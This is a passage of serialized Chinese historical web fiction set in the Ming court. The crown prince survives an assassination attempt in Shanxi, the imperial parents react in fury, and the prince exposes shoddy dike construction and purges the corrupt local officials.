也不算!毕竟跟着锦衣卫,脏事坏事,都是吩咐一句,锦衣卫几乎都抢着干。 “我想前往蒲州,亲自面见太子殿下。”孙铭忧虑的道。“如此,我才能安心。” 按察使周经是周瑄之子,父子俩并称‘山西二周,都是史书留名的大臣。 年近五旬,面容清癯,三缕长须,典型的文官模样。 此刻周经的眉头锁成了一个‘川’字,显然是不太赞同孙铭的话。 “孙大人欲往蒲州,拳拳之心,下老夫自然明白。只是……” 周经顿了顿,斟酌着词句,“此刻蒲州龙蛇混杂,局势未明。太子身边有锦衣卫护卫,安全暂时无虞。我等身为地方大员,未经传召,贸然齐聚蒲州,一则恐有惊扰殿下,干扰查案之嫌;二则……省城重地,三司主官若齐离,万一有变,何人主持大局?这太原,可是九边之一山西镇的根基所在。” 周经的话不无道理。太子遇刺是天大的事,但地方守土有责,同样不能轻忽。 尤其山西北临蒙古,边防压力从未减轻,省城太原更是中枢所在。 如果三位山西目前的最高官员,都跑去蒲州对太子殿下‘表忠心’ 朝廷知道了,在万皇贵妃和朱见深那儿估计是加分项,可在中枢朝廷的大臣们眼中,那未必是加分项,说不得还会被扣上‘擅离职守’、‘逢迎储君’的帽子。 御史的笔,言官的嘴,可比刺客的刀剑,更让人防不胜防。 “可咱们干坐在这里,心里实在没底!锦衣卫那帮杀才,查案是厉害,可却行事狠辣,不讲情面。万一他们为了交差,在咱们山西地界罗织罪名,牵扯无辜,甚至攀咬到在座哪位头上,那岂不是祸从天降!” 都指挥使刘聚急呼呼的说,自从知晓‘太子遇刺’,他就没睡过安稳觉,现在一提,那更是已经将后事如何安排,想了一百遍。 孙铭:“祸从天降?现在咱们没祸?太子安稳,咱们就无罪?” 周经默然,的确,朱佑棱这位太子安稳,并不代表他们就无事。 朱佑棱如果有事,大概他们的九族都不够砍;如今朱佑棱无事,那么也不知道被流放,啊,不是,是被贬职能不能选择地方任职。 “我猜测,大概东厂,不,东西两厂的厂督都会亲自赶来山西。”周经突然出声道。 “锦衣卫还好,可是东西两厂”那才是真正的出手狠辣。 三人齐齐打起寒颤,都说不出话来。 锦衣卫和东西两厂,都是皇帝的鹰犬,直接听命皇帝。而新建的西厂,厂督汪直直接听命万贞儿。 还是那句话,就万贞儿疼爱唯一儿子的态度,不难揣测她会如何吩咐汪直,说不得山西的官场,这次真的会报废!—— 作者有话说:更新o(* ̄︶ ̄*)o 第80章 第080章 但也是活该! …… 但也是活该! 谁让脑子有病, 选择这么个‘好时机’刺杀一国之储君。 本来朱佑棱这位太子,还准备按照官场的那一套,走个程序,循规蹈矩的巡视, 结果嘿 这都玩不起, 直接掀桌子, 企图釜底抽薪。 问题是, 刺杀太子不是釜底抽薪, 而是主动将自己的九族丢地上供刽子手摩擦。 本来还能‘你好我好大家一起好’的, 结果现在往后的一段时间里, 山西地界儿的各州县菜市口要有得打扫了 京师, 紫禁城, 安喜宫。 自从朱佑棱离京后,安喜宫就显得安静异常,特别是初夏的午后,更显安静。 窗外的蝉鸣有一声没一声,带着几分慵懒的倦意。冰盆里散发出丝丝凉气, 混合着殿内名贵安神香的淡雅气息。 万贞儿斜倚在临窗的贵妃榻上, 身上只穿了件轻薄的月白色杭绸衫子,手里拿着一柄小巧的象牙柄团扇,有一下没一下地摇着。 她的目光, 落在榻边小几上摊开的一封信笺上。 那是前几日朱佑棱从山西太原府派人快马送来的家书,里面简单报了平安, 说了些沿途见闻,字里行间,透着少年郎初次独立办事的新奇与隐隐的得意。 她的鹤归啊,长大了, 能独当一面了。 万贞儿的嘴角,噙着一抹淡淡的笑意,指尖轻轻拂过信纸。 虽然信中提及的流民,河工等事让她隐隐有些担忧,但转念一想有刘健等人辅佐,应该出不了大乱子,也就放下心来,为儿子的见识和担当感到骄傲。 就在这宁静安逸的时刻,急促到近乎慌乱的脚步声,由远及近,打破了安喜宫的静谧。 那脚步声沉重、凌乱,完全失去了应有的规矩和轻盈。万贞儿眉头微不可察地蹙了一下,抬眼向殿门望去。 只见小红几乎是踉跄着冲了进来,她脸色惨白如纸,额头上全是豆大的汗珠,那张清秀有余的脸庞,此时被惊恐和愤怒包围着。 “娘娘!娘娘!不好了!出大事了!” 小红的声音,尖利得变了调。 她扑到万贵妃榻前,浑身都在剧烈地颤抖。 “山西……山西六百里加急!太子殿下……太子殿下在蒲州黄河堤上……遇刺了!” ——咣当! 万贞儿手中捏着的象牙柄团扇,脱手掉落,砸在光洁的金砖地面上,发出清脆的碎裂声。 脸上的血色,瞬间褪得干干净净,比那上好的官窑白釉还要白上三分。 万贞儿仿佛被抽空了所有力气,又像是被无形的重锤,狠狠击中了胸口,整个人僵在那里,连呼吸都停滞了。 你……你说什么?”万贞儿死死的盯着小红,青筋暴动!“鹤归……遇刺?你再说一遍!” “娘娘!千真万确!”小红哭了起来,声音哽咽的说,“蒲州锦衣卫和山西三司联名急报。殿下巡视黄河堤坝时,遭不明身份刺客弩箭偷袭,箭矢淬毒。幸得护卫拼死挡下,殿下有惊无险,未受损伤。但殿下确实遇刺了,刺客一共五人,毙四擒一,幕后主使尚未查明!” “有惊无险?未受损伤?” 万贞儿喃喃重复着这几个字,一股滔天的怒火,混合着后怕到极致的恐惧,如同火山般勃然喷发。 她的鹤归!她此生唯一的儿子,她愿意视若性命,倾尽所有心血养育的儿子,竟然在山西,在光天化日之下,在大明的疆土上,被宵小以淬毒弩箭刺杀! “呵……” 万贞儿忽然发出一声极低,极冷的笑声,那笑声里没有一丝温度,只有无尽的杀意。 “好,很好。” 她一字一顿,声音平静得可怕,却让旁边侍立的所有宫人,包括小红在内,都感到一股寒气从脚底直窜头顶,不由自主地跪倒一片,噤若寒蝉。 “本宫的鹤归,代天子巡狩,体察民情,竟有人敢对他下手。” “山西可真是个好地方。水患、旱灾、流民、贪腐……如今,连储君的性命,也敢算计了!” 她猛地重重拍在榻边小几上,那力道之大,让小几都晃了晃。 “陛下此刻在何处?” “回娘娘,陛下此刻应在乾清宫与阁臣商议西北军务。”小红伏地,不敢抬头。 “摆驾乾清宫。” 万贞儿厉声道:“本宫要立刻去乾清宫,面见陛下!” 此时乾清宫,西暖阁内。 朱见深正与万安、白圭等人,商议着辽东女真和西北土鲁番的边事。 挺烦的,安稳没几年,又开始闹事。 朱见深有些心不在焉,万安等人的话,只偶尔听听,显然惦记着远在山西巡视的儿子。 就在这时,外面传来一阵急促的脚步声和隐隐的喧哗。紧接着,怀恩那尖利颤抖、带着哭腔的声音在殿外响起。 “陛下,陛下!老奴有十万火急之事求见!山西急报!太子殿下,出事了!” “什么!” 朱见深脸色骤变,猛地站起身,不可置信的道。“鹤归出事?出了什么事?” 怀恩几乎是连滚爬爬地冲了进来,高举着八百里急报,涕泪交加。 “陛下,山西蒲州急报,说太子殿下巡视黄河堤坝,遭刺客弩箭偷袭,并且箭矢淬毒。” 此言一出,仿佛一道惊雷在暖阁内炸响。万安、白圭等重臣瞬间脸色煞白,惊得魂飞魄散! 太子遇刺?这怎么可能?何人如此大胆? 朱见深只觉得眼前一黑,一股热血直冲头顶,耳朵里嗡嗡作响。他踉跄了一下,扶住御案才站稳,声音嘶哑颤抖,带着难以置信的惊恐。 “鹤归,鹤归他没有事?” “陛下洪福!太子殿下洪福齐天,幸得护卫拼死救护,殿下毫发无伤,只是受惊不小!” 怀恩连忙说道。 听到“毫发无伤”四个字,朱见深悬到嗓子眼的心,才稍稍落下半分,但随之涌起的,是比刚才强烈十倍的震怒。 朱见深一把夺过急报,飞快地浏览起来。 越看,他的脸色就越青,呼吸就越粗重,捏着信纸的手指,甚至因为用力而骨节发白。 “混账!混账东西!!” 朱见深猛地将急报狠狠摔在地上,额头上青筋暴跳。 “光天化日,朗朗乾坤。在朕的大明国土上,竟然有人敢刺杀当朝太子!。还是用毒箭!他们想干什么?他们想造反吗,啊!” “陛下息怒!保重龙体!”万安等人回过神,慌忙让朱见深别生气。 “息怒?你让朕如何息怒!” 朱见深指着地上的急报,怒气斐然的道。 “你们都看看,都看看。朕的鹤归他才多大,他去山西陕西两地,是为了查看灾情,督办河工。这是为朝廷分忧,为百姓解难!结果呢?结果差点把命丢在黄河边上!山西的官员是干什么吃的?随行护卫的锦衣卫是干什么吃的。” 朱见深磨牙,下一刻盯准了兵部尚书。“白爱卿,你是兵部尚书,你来说,刺杀储君,该当何罪。” 白圭:“陛下,按《大明律》,谋刺储君,等同谋逆,主犯凌迟,株连九族!从犯皆斩!知情不报、窝藏包庇者,同罪!” “好!株连九族!同罪!” 朱见深咬牙切齿,声音从牙缝里挤出来,“传朕旨意!立刻……” “陛下!” 就在朱见深要下达命令的关键时刻,万贞儿的声音在殿门口响起。 众人循声望去,只见万贵妃一身盛装,在宫女的簇拥下,缓步走了进来。 她面色平静,根本看不出先前曾狠狠哭过,只是那双漂亮的丹凤眼,微红,却充斥着滔天怒火。 “贞姐!” 朱见深看到万贞儿,像找到了主心骨,又是心疼又是愤怒,几步上前抓住她的手。 “你都知道了,鹤归他……” “臣妾知道了。” 万贞儿反手轻轻握住朱见深的手。“深郎,鹤归无事,此乃天佑大明,亦是你我之福。只是一想到鹤归差点出事,臣妾的心就” 说着,万贞儿的眼泪就下来了。 这可比万贞儿直接抓狂到大开杀戒,更让朱见深心疼。 朱见深愤怒无比的说:“贞姐放心,敢伤心鹤归的贼子,朕一个都不放过。” “深郎,立刻发下明诏,昭告天下,就说太子巡视山西,遇宵小行刺,幸赖祖宗庇佑、将士用命相护,才得以化险为夷。诏书中要严斥逆贼,申明国法,安定人心。同时,还要嘉奖救驾有功之锦衣卫及地方人员,抚恤伤者。” 朱见深点头,显然万贞儿的提议正是他所想。“太子奏报中提及山西河工弊政丛生,地方官员推诿贪渎。” 朱见深看向几位大臣,接着道:“此次太子遭遇刺杀,想来与太子查案有关。必须深究。这样吧,派出新的钦差,借查案之机,彻查山西近五年河工、赈灾款项,凡有贪墨舞弊、玩忽职守者,一并严惩!正好借此机会,整饬山西吏治!” “新的钦差就不必了。” 万贞儿却否决了另派钦差的提议。鬼知道另外派遣的钦差,是否和地方勾结。 作为朱佑棱的生母,万贞儿考虑最多的,就是如何为儿子增添筹码。如今这样的情况,权利全部集中在朱佑棱的手中,才是最优的选择。 不过 想到一点,万贞儿眼中寒光闪烁。 “陛下。”万贞儿没有唤深郎,而是稍微正式的称呼陛下,朱见深当即就严肃起来。 万贞儿接着说:“山西都指挥使司,布政使司以及按察使司,都对太子遇刺,负有不可推卸的失职之罪!陛下应下旨严斥,令其戴罪立功,全力配合太子查案,并确保太子在山西期间的绝对安全!若再有闪失,让那山西三司主官,提头来见!” “还有100名锦衣卫太少了点。”朱见深深以为然的点头,还迫不及待的补充,表示自己也是疼儿子的。 “要加强太子身边的护卫力量,让汪直选500名锦衣卫以及东西两厂好手,即刻前往山西,和太子汇合。” 全程帝妃二人组商议,万安等大臣根本插不了口。只等帝妃二人组商议完后,才恭维的说,帝妃二人组说得很好,就这样办。 毕竟真的没什么好反驳的,即使帝妃二人组下令在山西大开杀戒,也应该的。 不提山西高层,接到中枢朝廷下发的诏书是如何的焦头烂额,朱佑棱那边倒显得气氛挺好。 遇刺后的第二天,朱佑棱依旧按原计划,在刘健等人的陪同下,继续视察了几处关键的黄河险工和灌渠遗址,并且还在时间充沛的情况下,找了老河工详细询问了关于历年水情和工程弊端的看法,仿佛那场惊心动魄的刺杀从未发生过。 只是,身边的护卫增加了一倍不止。 铜钱几乎寸步不离,锦衣卫的警戒圈扩大到方圆数里,任何可疑人员靠近都会被严加盘查。 工地上干活的民夫和陪同的地方小吏,连大气都不敢喘,更别说靠近太子三丈之内—— 作者有话说:更新o(* ̄︶ ̄*)o《 》 80-90 第81章 第081章 “殿下,此处便…… “殿下, 此处便是去年决口后,号称耗费三千两白银加固的‘新堤’。” 张润指着一段看起来,嗯,颇为雄壮的堤坝, 语气中带着压抑的愤怒, “然而据臣与老河工勘验, 其内部夯土松散, 外层护石单薄, 且根基不牢。所谓三千两, 怕是有一半不知去向。” “白银三千两只修了这段?” 朱佑棱的关注点却很不同。反正贪污腐败修豆腐渣工程捞银子的事已经成定局, 朱佑棱就没有将注意力放在豆腐渣工程上, 而是关注用了多少钱。 “是的。”张润回答。 朱佑棱站在堤上, 看着脚下看似坚实,实则隐患重重的土石,还用力的踩了踩。 踩了一个坑,但没有塌。 “账册上,是何人经手采购的石料?又是何人监理工程?款项由何人拨付, 经何人之手?” 朱佑棱一连几个问题, 清晰的传入传入身后不远、被允许陪同视察的蒲州知州郑显仁,以及他的下属同僚。 郑显仁腿一软,差点又给朱佑棱跪下。如今没跪, 声音却带着颤抖的说。 “回回殿下,石料采购是由, 是由府衙工房司吏王顺负责,工程监理是,是通判李大人,款项由布政使司拨付, 经经府库大使……” “名字。”朱佑棱打断他,语气平淡。“每一处经手人的名字,都给孤说出来。” “是,是……” 郑显仁赶紧报出一串名字,额头上冷汗涔涔。 “记下来。” 朱佑棱对身旁负责记录的随从道,然后看向铜钱。 “铜钱啊,这些人连同其家眷,暂时‘请’到嗯,昭狱的话,现在大概已经住不下了,就近县衙的大牢吧。顺便通知当地卫所的千户百户,把这些人分开询问。” “让他们把采购的明细、监理的记录、款项的支取,一笔一笔说清楚。说不清楚的,”他顿了顿,“也就不必说清楚了,想来都是锦衣卫中数一数二的好手,应该清楚该怎么处置。” 的确,作为锦衣卫,有不讲证据直接抓人下昭狱的特权。现在是什么情况,可由不得被记下名字的官员嘴硬抵抗。 再者,朱佑棱此举的用意,不过顺藤摸瓜。 从最直接的经办人入手,能很好的撕开一道口子。这些胥吏小官,看似不起眼,却是具体经手人,往往知道不少内情,从他们开始查,是最直接有效的。 滑稽的是,那些个被郑显仁‘出卖’的小吏,顿时被吓得面如土色,赶紧跪地求饶。 “殿下饶命啊!殿下开恩!” 朱佑棱:“” 这不是巧了嘛! 都不用麻烦锦衣卫专门走一遭了! 朱佑棱连看都懒得看他们,直接转身走下堤坝,顺便还对张润说:“张员外(官职),你带人,就在此处,当着所有民夫和本地百姓的面,选几处地方,挖开这堤坝。孤倒想好好瞧瞧,这堤坝里面到底用了多少石料,夯得有多实。” 朱佑棱自然是刻意说这样的话,毕竟明摆着的豆腐渣工程,挖出来瞧瞧,才能更好的定罪。 诛杀首恶,从者流放和诛杀亲眷,从者流放之间,还是有一定差别的。 “臣遵命!”张润精神一振,赶紧去做安排。 很快,在众多民夫和闻讯赶来的附近百姓围观下,一处就花费三千两白银修建的‘新堤’被尽数挖开。 结果不出意料,令人哗然。 那‘新堤’的外层,只有薄薄一层石料,之后填充的便多是沙土碎石,甚至在沙土碎石不太够的情况下,还夹杂了芦苇秆和破麻袋!所谓坚固的‘夯土’,松散得用手就能掰开! “这就是三千两银子修的堤?” “去年发大水,就是这玩意儿塌的?” “黑心肝的狗官!贪了我们的救命钱!” “太子殿下英明!挖得好!就该让他们现原形!” 看到这一幕,所有围观的百姓以及民夫的愤怒,被炽热大火点燃,并汹汹燃烧。 咒骂一声高过一生声,郑显仁和他的同僚全都面如死灰,浑身抖得像风中的落叶。 他们知道,他们完了! 不,确切的说,早就完了。 只不过判决一天没有下来,他们就一天心存侥幸。 结果现在,证据确凿,就看朱佑棱这位太子,是真仁德还是假仁慈了。 如果真,大概他们会有命在,如果假 不知道子孙后代是在闽南南越一带安家呢,还是在苦寒的边关。 郑显仁越想约哭得凄惨,那样儿真是没眼看。 朱佑棱冷哼,压过现场的嘈杂。 “蒲州的父老乡亲们,你们都看到了,这就是某些蠹虫,用朝廷的银子,用你们的赋税,给你们修的保命堤。去年的大水,冲垮了你们的家,淹没了你们的田,不是天灾,是人|祸!” “孤奉皇命而来,就是要查清这些蛀虫,还你们一个公道。这堤,肯定是要重修的。并且不止要修,还要修得结结实实!” “而贪的银子,不管多少,都得给孤吐出来。孤在此承诺,抄贪官所得之财产,全部用以修建房舍,帮助父老乡亲们重建家园。” 懒得将抄家所得的金银运输回京,反正‘取之于民用之于民’,当地贪官贪的是当地老百姓的财,用在当地帮助当地老百姓重建家园,有什么问题? 朱佑棱可不觉得自己的决策有问题,这不,朱佑棱的吩咐刚出口,全场肃静,随即很快爆发震耳欲聋的欢呼声。 “太子殿下,千岁千千岁!” “青天大老爷啊,你总算开眼了!” 众人欢呼着哭喊着,情绪都异常激动。唯独朱佑棱,他挺平静的。 其实说实话,他觉得自己的决定没有丝毫问题,可偏偏大家都异常激动,彷佛朱佑棱将贪官的家抄了,将查抄的财产全部运往京师才是正常,而朱佑棱选择‘取之于民用之于民’才是不正常的。 朱佑棱心中不免有些伤感,不过这情绪很快就去了。 朱佑棱又重新变得杀气腾腾,自然满溢的杀意,是冲着某些贪官污吏,以及刺杀他的嗯,一干人等去的。 其实这个时候,朱佑棱已经推敲出谁会对他出手。除了贪官污吏外,就是当地豪绅,嗯,与关外游牧民族一直勾勾搭搭,一直缠绵到明末清初的晋商。 除了他们外,还有谁敢冒着九族消消乐的罪责刺杀一国之储君啊。换位思考,如果朱佑棱是他们的,估计也会选择把一国之储君给弄死。 特别是这位一国之储君,从小就有仁德的美名,那更要杀之除之。 朱佑棱能理解,但是 敢对他出手,天灵盖都给掀了。 山西布政使孙铭等人赶来时,已经距离刺杀过去10天之久。带着庞大的仪仗和一颗七上八下的心,赶到蒲州太子行辕。 行辕外戒备森严,但井然有序。孙铭递上名帖,很快被引入行辕。他没有被立刻引去见太子,而是被请到了一处偏帐等候。这一等,就是将近一个时辰。 期间,他听到隔壁帐篷隐约传来算盘噼啪声,官员低声争论声,还有锦衣卫押解人犯经过时镣铐的轻响。每一分每一秒,都是一种煎熬。 终于,一名面容冷峻的随从前来引路:“孙大人,殿下有请。” 孙铭整理了一下衣冠,深吸一口气,跟着随从来到中军大帐。帐内陈设简单,朱佑棱坐在主位,刘健、张润、赵诚等随行官员分坐两侧。铜钱与陆炳按刀,分别立在太子身侧,目光如电。 “臣,山西布政使孙铭,叩见太子殿下!殿下千岁!”孙铭毫不犹豫,以大礼参拜,额头触地。 “孙大人请起,看座。”朱佑棱的声音平静,听不出喜怒。 孙铭谢恩起身。“臣惊闻殿下在蒲州受惊,忧惧难安。此皆臣等失职,治下不严,方使宵小有可乘之机!臣已下令全省严查,定要将凶徒及其幕后主使,绳之以法!臣疏于防范,罪该万死,请殿下降罪!”说着,又要起身下拜。 “孙大人言重了。”朱佑棱虚扶了一下,淡声道。“刺客之事,自有国法处置。孤召你来,是想问问,山西的河工,年年修,年年溃,赈灾的款项,年年拨,年年不够。孙大人主政一方,可知症结何在。” 来了!直接切入主题,毫不拖泥带水! 孙铭心中一凛,知道最难的回答时刻到了。他不能推诿不知,那显得无能,也不能说得太深,那会牵扯出太多人。 一时间好不纠结,谨慎又小心翼翼的斟酌词语。 “回殿下,臣确有失察之责。河工水利,工程浩大,牵涉钱粮物料众多,胥吏管理起来麻烦,难免有从中渔利,偷工减料之事。加之去年水患实属罕见,工程紧迫,监管或有疏漏。至于赈灾款项,层级过多,拨付迟缓,亦难免有损耗……” “损耗?” 朱佑棱打断他,从案上拿起一份张润刚刚整理好的,关于蒲州新堤造假的初步报告,轻轻放在孙继宗面前。 “孙大人不妨看看这个。三千两白银一段堤坝的‘损耗’,就‘损耗’出这么一段段,一挖就散的堤坝?这损耗,未免也太大了些。还是说,这损耗,都‘损耗’进了某些人的私囊?” 孙铭拿起报告,只看了几眼,额头就冒出了冷汗。 “臣臣惶恐!臣治下竟有此等蠹虫!臣定当严查,无论涉及何人,绝不姑息。” “行了,别动不动就跪着说‘臣惶恐’的话语!”朱佑棱语气依旧平淡,甚至称得上冷静。 朱佑棱接着道。“孤相信孙大人的忠心。但治大国如烹小鲜,光有忠心,恐怕不够。山西积弊已深,非一日之寒。孤此行,不是为了追究一人一吏的责责,而是要厘清弊政,整肃纲纪,还百姓一个朗朗乾坤,也给朝廷一个交代。” 又道:“在你来之前,孤已经行文山西全省,命令地方官员配合锦衣卫搜查,近五年涉及河工,赈灾款项的官吏以及商贾问题。并给了期限,要求在10日内,主动赴所在府衙说明情况。孤在这儿继续等10日,10日后,要是没有反应,或者给出的反应令孤不满意,那就别怪孤大开杀戒。” “那么孙大人,孤想问问你。”朱佑棱顿了顿,目光如炬,盯着孙铭。“你是支持孤,还是想劝孤,不要杀戮之心过重?” 孙铭好歹算是朱见深的表兄,论关系朱佑棱还得称呼孙铭一句表伯父。 他的祖父孙继宗乃是孙太后的兄长,孙太后又是朱佑棱曾祖母。论作妖程度来讲,其实还比不了周太后。 周太后才是真的作。 想起这层关系,朱佑棱嘴角隐晦的抽搐,貌似嗯,从他曾祖父开始,往后皇帝的生母,貌似都挺一言难尽的。 仔细想想,大明的选秀制度,真的超级坑。远的不说,就朱佑樘的皇后张氏,可配不上朱佑樘一世一双人的爱。 怪不得张氏晚景凄凉,纯粹的伏弟魔,关键那弟还不是个东西! 扯远了,回归正题。 孙铭此时的压力很大,仿佛被泰山压着,几乎喘不过气来。 朱佑棱如此问,无非是想要借他这把“刀”,来清理山西官场。他若配合不力,就是‘治省无方,纵容贪腐’的糊涂长官。 可若配合得太积极,又会得罪无数同僚和背后的关系网,甚至可能引火烧身。 但此刻,他已没有选择。太子遇刺,朝廷震怒在即,他必须站队,而且必须站在太子这边。 不然真的只有,死路一条。 孙铭咬牙,斩钉截铁的说: “臣乃大明之臣,殿下乃大明之储君,臣自然事事支持殿下。至于杀戮之心,贼子狼子野心,竟然刺杀殿下,就该杀,该狠狠的杀,大杀特杀。”—— 作者有话说:更新o(* ̄︶ ̄*)o[狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第82章 第082章 “既然明白,那…… “既然明白, 那孤也就放心了。” 朱佑棱脸上露出一丝极淡的笑意。,“有孙大人的话,孤就放心了。至于要如何做,嗯, 孙大人可与刘卿、张卿、赵卿商量。孤希望, 在孤离开山西之前, 能看到好的一面。” “臣, 定不辱命!” 孙铭深深一揖, 心中五味杂陈。 虽说早就知晓, 在一国之储君在山西地界儿被刺杀的那一刻开始, 他已没了退路。但现在, 孙铭依然对即将到来的风暴, 感到五味杂陈! 希望这一场风暴,死的人没有预料的那般多吧! 孙铭心情沉重的告退。而送走孙铭,朱佑棱略微疲惫地揉了揉眉心,就开始闭目养神。 大约过了一炷香左右,刘健进来, 低声禀报说, 按察使周经派来的刑名吏员已到,还有那都指挥使刘聚,也加强了蒲州周边的警戒。 “殿下, 我们收到风声,有些涉案较深的豪绅, 已经开始变卖家产,似乎准备潜逃。” “想跑?”朱佑棱眼中寒光一闪,“这便是不打自招吧!” 刘建恭声道:“想必是的。” “在孤的字典里,可没有犯了谋逆大罪, 想潜逃就能潜逃的。” 朱佑棱冷哼,直接呼喊:“铜钱何在?陆炳何在?” 铜钱和陆炳都是锦衣卫,且都是千户,但一人是指挥使,一人则是副指挥使。 嗯,都是这回随朱佑棱巡视水利工程时,升的职。 随着朱佑棱一声令下。守卫的铜钱,陆炳立马应声。 “卑职/末将在!” “加派人手,盯紧所有可疑人员的动向。凡是试图离境的,一律扣下。凡有异动者,即刻锁拿。” 朱佑棱默了默,又道。“简单的审一审,孤很好奇,他们背后的人,是不是关外的鞑子。” 前头说过太原离蒙古很近。后世是内蒙古,但现在嗯,大部分还是游牧民族的地盘,山西这边的晋商惯爱通过太原那边,去关外和游牧民族做生意。 这种商人,一般称呼游商,看似挺辛苦的,但实际利益可观。时间久了,难保为了谋取更大的利益,和鞑子们勾结起来,干卖国之事。 朱佑棱敢保证,所有听到风声就收拾家产准备潜逃的豪绅,都是和关外鞑子有所勾结的渣渣。 抓起来查肯定是要查的,毕竟查清楚了,才能知道是三族消消乐,还是只诛首恶,从者抄家流放。 大明人口虽说多,但能当骡子牛马使用,还不怕损耗的罪人还是挺缺的。 “对了,孤得给六皇叔、七皇叔分别去一封信,让他们俩多多准备粮食。看这天气,大概夏季是不会来雨了,就怕秋季的时候,突然下一场暴雨” 朱佑棱说不下去了,兴致阑珊的挥手。铜钱和陆炳告退,这俩货,腹黑程度不相上下,还喜欢攀比,就连抓人也是比谁抓的人多。 如此这般,大概又过了几日,刑部尚书和东厂提督太监尚铭、西厂提督太监汪直,携尚方宝剑及数百锦衣卫缇骑,以最快的速度离京,昼夜兼程到了山西。 也是巧了,他们到来的时候,正好是朱佑棱设定的‘10日期限’截止的时候。 10日前,朱佑棱在山西界内下达‘十日内主动交代问题’的最后通牒,如同一道催命符,悬在每一个相关人员的头顶。估计就是因为这,才出现牵扯颇深的豪绅收拾家产想跑的情况。 而一开始,10日期限刚刚开始的时候,前往各府县衙门,主动说明情况的人寥寥无几。 绝大多数的家伙,都在观望。他们大多心存侥幸,或忙于销毁证据、串通口供。 但随着刺杀案调查的深入,锦衣卫在铜钱以及陆炳的指挥下,雷厉风行地锁拿了一批与河工贪腐直接相关的中下层胥吏和商人,严刑拷打之下,口供如同雪片般飞出,牵扯出越来越多的人和事。 如此这般,期限过半时,压力达到了顶峰。 一些自知罪责难逃、又担心被同伙抢先出卖的小官吏、小商人,开始扛不住了。 他们像抓住救命稻草般,涌向衙门,竹筒倒豆子般交代自己的问题,并疯狂攀咬他人,试图戴罪立功。 而且他们的供词里,不仅涉及河工款项的克扣、劣质物料以次充好,还牵扯出历年赈灾粮的漂没、赋税的巧立名目、甚至是与上级官员的孝敬与分润。 总之一句话,触目惊心。 太原府、平阳府等地的衙门,几乎被这些‘投诚者’挤破门槛。负责记录的书记员手腕写到发酸,案卷堆积如山。 连许多陈年旧案、盘根错节的关系网,都被开了一道道口子。 这些代表了,相信不用仔细阐述,大家都能明白。 朱佑棱更加肯定了自己先前,打算用自己遭遇刺杀一事,将整个山西官场清洗一遍的想法。 哪怕吏部安排来的,不一定没有问题。但朱佑棱觉得,他们前任的惨烈,相信会给他们一定警示作用。 最起码未来几年内,山西地区的吏治会很清明。至于陕西那边,啧,同山西的处理方式。 真以为现在他待在山西,没有前往陕西,就把陕西忽略了。当初他领钦差的职位,可是说了山西陕西两地。 而且还小看了锦衣卫无孔不入的侦查手段。朱佑棱可是在下定决心清洗山西官场的时候,就已经委派几名锦衣百户前往陕西锦衣卫所,革令当地卫所的千户百户们,将陕西官场的大小官吏连同妻族、父族甚至亲朋都调查一遍儿。 无罪迁升,有罪的话,自然该杀头就杀头,该流放就流放。除了通敌卖国外,朱佑棱最恨的便是贪污腐败。 老百姓已经够苦了,脑满肥肠黑心肝的豪绅不去剥削,反倒盯着老百姓,死命的磋磨剥削。 “殿下,根据目前口供,去年蒲州段河工银总计八万两,实际用到堤坝上的,不足三万。其余五万两,经手官吏层层盘剥,最终落入几个承包工程的商号,和当时任山西布政使司右参政,分管钱粮的潘升,以及太原府同知李茂等人手中。” 刑部尚书和东西两厂厂督到来后,立马加入刑讯行列中。 都不是省油的灯,朱佑棱偶尔围观,总觉得他们三人招呼犯人的地方,挺一言难尽的。 刑部尚书指着案卷,面色凝重。“这潘升,乃正四品官级,李茂也是从四品官级,而这只是冰山一角,臣怀疑,大概整个山西官场都” “孤也由此猜测。”朱佑棱点图,有道。“潘升、李茂二人,与刺杀案可有牵连?” “回殿下,”尚铭尖细的嗓音响起:“据被捕刺客及涉案商人供述,他们并未直接接触过潘、李二人。但负责买凶的中间人,其资金源头,经东厂密探查证,最终指向一个叫‘昌隆号’的票号。而这个‘昌隆号’,与潘升的妻弟,以及李茂的侄子,都有秘密的资金往来,且数额巨大。” 虽然没有直接证据,但这已经是极其强烈的间接关联。潘升、李茂有充足的动机,为了掩盖巨额贪腐,鋌而走险,刺杀追查到底的太子。 朱佑棱沉吟片刻:“潘升和李茂,现在何处?有何反应?” “回殿下,” 汪直接口道,“潘升现任湖广布政使,已离开山西。李茂则称病,闭门不出。布政使孙铭已按照殿下的吩咐,命人请李茂前来问话,但其府邸戒备森严,似有抗拒之意。” “抗拒?” 朱佑棱怀疑自己耳朵出了问题,不然怎么可能听到如此离谱的话语。 区区一介官员,太子派人请他前来问话,居然有抗拒的意思。这是想干嘛! 莫非忘了,他的一身官皮,都是朝廷给与的? “汪直”朱佑棱几乎快要气笑的喊。“派几名‘能言善道’‘会请人’的太监,把他给孤请来。如果这样都请不来。” “那就以谋逆论处,格杀勿论。并将其府邸查封,所有文书账册,悉数收缴!” “哦,对了,家眷还有他的亲朋好友,都好好的查一遍。” “奴婢遵旨,奴婢这就亲自带人去请那李茂。” 汪直领命,杀气腾腾而去。 朱佑棱看向刑部尚书和尚铭,又道。“至于潘升,立刻六百里加急奏报父皇,请求将其革职拿问,押解回京,交三法司会审!同时,行文湖广,命当地官府严密监控,防止其逃窜或销毁证据。” “奴婢这就领旨。” 尚铭躬身说,随即就去起草奏折,随后写完后朱佑棱亲自印上自己的私章,这份奏折立刻被快马加鞭的送往京师。 之后,紧锣密鼓查案的同时,朱佑棱依然坚持此行的根本目的——巡视灾情,督办实务。 揪出贪官污吏固然重要,但让百姓活下去、恢复生产才是当务之急。 “孤记得今年这边大旱,百姓种的都是红薯?” 这天,朱佑棱换上普通富家子弟的衣物,身边带着铜钱、陆炳几人,开始视察其他州县的灾情和水利设施。 由于所到之处,地方官员无不战战兢兢,居然还想搞“祥瑞”、“万民伞”之类的把戏。 朱佑棱烦死了,干脆就开始暗访,并且路线不定,主打一个随心所欲,以至于当地官员想要作弊,都不是很确定朱佑棱的行踪。 如今到的小村落便是如此。 而朱佑棱之所以会有先前的问题,纯粹只是因为小村落里,居然还种了不少的水稻和小麦,反倒是抗旱能力强,产量也大的红薯,种得十分的少。 “这个小村落,大概水资源丰富。”铜钱回答说。“相较红薯,老百姓们更喜欢以米、面食为主食。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第83章 第083章 朱佑棱微微点头,…… 朱佑棱微微点头, 倒没有说不对。 随后朱佑棱,丝毫不嫌弃脏的蹲在田梗处,看着已经在抽穗的水稻。 水田中更是蓄满水,水不见浑浊还挺清澈, 偶尔水面起涟漪, 仔细一瞧, 